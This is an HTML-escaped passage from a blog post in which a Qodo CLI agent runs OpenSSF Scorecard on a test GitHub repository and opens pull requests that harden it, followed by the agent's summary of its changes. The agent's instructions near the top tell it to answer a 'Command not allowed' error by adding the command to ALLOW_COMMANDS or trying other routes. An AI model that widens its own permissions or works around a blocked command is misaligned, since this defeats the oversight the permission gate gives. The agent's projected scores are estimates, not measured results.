&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - If unable to address a fix for the issue, post an explanation of what you tried to do and why it was not possible&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - For complex issues beyond scope, suggest breaking into smaller tasks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Common error patterns and solutions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - &quot;Command not allowed&quot;: Add the command to ALLOW_COMMANDS or use alternative approaches&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - &quot;MCP error -32603&quot;: Switch to GitHub CLI or local repository operations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - &quot;Branch not protected&quot;: Use GitHub CLI to enable branch protection&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - Base64 decoding issues: Use Node.js or alternative decoding methods&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Always attempt multiple approaches before declaring a task impossible&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Document workarounds used for future reference&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      ## Important Guidelines:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Always maintain code quality and follow existing patterns&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - If you are introducing a breaking change always provide clear notes about it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Keep comments professional and helpful&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Respect repository contribution guidelines if present&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Never close the issue yourself&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - When working with GitHub Actions, always pin actions to specific commit hashes for security&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Add explicit permissions to all workflow files to follow principle of least privilege&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Test fixes locally when possible before pushing changes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Clean up any temporary files created during the process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Verify improvements by running OpenSSF Scorecard again after implementing fixes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      ## Output:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      After handling all the issues, provide a summary of all actions detected by OpenSSF Scorecard and all the actions you&apos;ve taken to address them, and the results.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      Include in your summary:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Initial OpenSSF Scorecard score&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Final OpenSSF Scorecard score (run the tool again after fixes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - List of issues addressed with specific actions taken&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Any issues that could not be resolved and why&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Links to created pull requests (if any)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      - Recommendations for ongoing security maintenance&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;First off, we version the agent.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;commands&lt;/code&gt; section defines a command name &lt;code&gt;openssf-scorecard-fixer&lt;/code&gt; which is what we invoke with the &lt;code&gt;qodo&lt;/code&gt; CLI and all of its arguments that we can pass to it.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;available_tools&lt;/code&gt; section lists the tools that the agent can use, including the ability to run shell commands and interact with GitHub and of course the scorecard command which is the main tool we want to use.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;mcpServers&lt;/code&gt; section defines the MCP Servers that are available to the agent and have been declared in the &lt;code&gt;available_tools&lt;/code&gt; section.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;instructions&lt;/code&gt; section is where we define the agent’s behavior, what it should do, how it should handle issues, and so on. This is where we tell the agent to run the OpenSSF Scorecard tool, analyze the issues, and then fix them automatically.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note, I did need to tweak the agent instructions a bit to avoid putting work into criteria that the &lt;code&gt;scorecard&lt;/code&gt; tool doesn’t support very well, like fuzzing for JavaScript projects is incredibly limited and even if added to the project it isn’t detected very well.&lt;/p&gt;
&lt;p&gt;Now we can run the agentic workflow and let it do its magic.&lt;/p&gt;
&lt;h2 id=&quot;running-the-agentic-workflow&quot;&gt;Running the Agentic workflow&lt;/h2&gt;
&lt;p&gt;Of course, replace the &lt;code&gt;GITHUB_AUTH_TOKEN&lt;/code&gt; with your own GitHub Personal Access Token (PAT) and the &lt;code&gt;repo&lt;/code&gt; argument with the full URL of the GitHub repository you want to analyze and fix issues for, and then spin up the agentic workflow by running the following command:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;GITHUB_AUTH_TOKEN=1234 qodo openssf-scorecard-fixer --set repo=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://github.com/lirantal/hello-world-js&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Results be like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/qodo-openssf-scorecard-fixer-results.png&quot; alt=&quot;qodo openssf scorecard fixer results&quot;&gt;&lt;/p&gt;
&lt;p&gt;Most of the issues can be fixed by the agent and others are just sometimes not fit. For example, maybe there’s no actual release process in place and it doesn’t make sense because this isn’t a project that delivers assets.&lt;/p&gt;
&lt;h2 id=&quot;scorecard-fixer-agent-results&quot;&gt;Scorecard Fixer agent results&lt;/h2&gt;
&lt;p&gt;Ok, so how well did the agent do to fix all the security issues reported by the OpenSSF Scorecard? Let’s compare the results of the first run.&lt;/p&gt;
&lt;p&gt;As you remember, the &lt;code&gt;scorecard&lt;/code&gt; command reported a score of 2.6 out of 10 across 18 issues. Partial summary notes from the &lt;code&gt;qodo&lt;/code&gt; command output:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Perfect&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; I have successfully implemented comprehensive security improvements &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the hello-world-js repository. Here&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;s a complete summary of all actions taken:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;## OpenSSF Scorecard Security Improvements Summary&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;### Initial Assessment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;- **Initial Score**: 2.6/10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;- **Current Score**: 2.9/10 (limited by token permissions for some checks)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;- **Expected Final Score**: 8+/10 (after PR merges and workflow execution)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, the current score is 2.9 out of 10 which is just a slight improvement but most of the work that the agent did to configure DevSecOps pipelines for security hardening is staged in a pull request that still needs to be merged, hence there’s an expected final score as well.&lt;/p&gt;
&lt;p&gt;Here are the pull requests that the agent opened to fix the security issues, I’m going to merge them and we’ll see the changes right after:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/qodo-command-openssf-scorecard-fixer-pull-requests.png&quot; alt=&quot;qodo command opened pull requests on github repository to introduce security hardening based on openssf scorecard&quot;&gt;&lt;/p&gt;
&lt;p&gt;But even before merging the pull requests, look at how detailed the agent was in its summary of actions taken as part of the changes introduced to files in this pull request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/qodo-command-openssf-scorecard-fixer-pull-request-summary.png&quot; alt=&quot;pull request summary for openssf scorecard fixer summarized by qodo command&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can browse to the pull request in my test repository here to see the full details of the changes made by the agent: &lt;a href=&quot;https://github.com/lirantal/hello-world-js/pull/1&quot;&gt;security: implement OpenSSF Scorecard security improvements #1&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Oh wait, it looks like I can’t even merge the pull request. Why? because the Qodo agent configured the repository to prevent merging pull requests without reviews, which is a good security hardening practice. This is already taking effect and preventing me or anyone else (like a rogue contributor or malicious actor who took over someone’s account) from merging the pull request without a review:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/qodo-command-openssf-scorecard-fixer-pull-request-merge-prevented.png&quot; alt=&quot;repository security hardening prevents from merging pull requests without reviews&quot;&gt;&lt;/p&gt;
&lt;p&gt;The Qodo agent also configured branch protection rules to prevent force-pushing to the main branch, which is another good security hardening practice:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/qodo-command-openssf-scorecard-fixer-branch-protection-rules.png&quot; alt=&quot;branch protection rules configured by the qodo agent&quot;&gt;&lt;/p&gt;
&lt;p&gt;The full summary of actions taken by the agent is as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;### Security Issues Identified and Addressed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### ✅ **SAST (Static Application Security Testing)** - 0/10 → Expected 8+/10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Actions Taken:&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Added &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;CodeQL workflow&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; with pinned actions (commit hash: 692973e3d937129bcbf40652eb9f2f61becf3332)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Added &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Semgrep workflow&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; additional SAST coverage&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Configured &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;explicit permissions&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; following principle of least privilege&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Set up &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;scheduled scanning&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (weekly) and &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;PR-triggered scans&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### ✅ **Security Policy** - 0/10 → Expected 10/10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Actions Taken:&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Created comprehensive &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;SECURITY.md&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; file with:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Vulnerability reporting guidelines&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Response timeline commitments&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Supported versions matrix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Private disclosure process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Security best practices&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### ✅ **Dependency Update Tool** - 0/10 → Expected 10/10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Actions Taken:&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Configured &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Dependabot&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; automated dependency updates&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Set up &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;weekly update schedule&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; npm and GitHub Actions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Added &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dependency review workflow&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; PR security checks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Configured &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;reviewers and assignees&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; dependency PRs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### ✅ **Branch Protection** - 0/10 → Expected 10/10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Actions Taken:&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Enabled branch protection&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; on main branch with:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Required pull request reviews (1 approver)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Dismiss stale reviews when new commits are pushed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Enforce admin compliance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Prevent force pushes and deletions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Strict status checks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### ✅ **Fuzzing** - 0/10 → Expected 8+/10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Actions Taken:&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Created &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;comprehensive fuzzing workflow&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; with:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Scheduled weekly fuzzing runs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - PR-triggered fuzzing tests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Timeout protection (5 minutes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Artifact collection &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; analysis&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Implemented &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;extensive fuzzing &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; suite&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; covering:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - String input validation (injection, buffer overflow)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Numeric input testing (overflow, division by zero)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Object input testing (prototype pollution, JSON safety)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - Array input testing (memory exhaustion, boundary checks)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### ✅ **Token Permissions** - N/A → Expected 10/10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Actions Taken:&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Added &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;explicit permissions&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; to all GitHub Actions workflows&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Implemented &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;principle of least privilege&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Specified minimal required permissions &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; each job&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### ✅ **Pinned Dependencies** - N/A → Expected 10/10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Actions Taken:&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Pinned all GitHub Actions&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; to specific commit hashes instead of tags&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Enhanced security by preventing supply chain attacks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Used latest stable versions with security patches&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;### Package Security Enhancements&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### ✅ **Package.json Security**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Actions Taken:&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
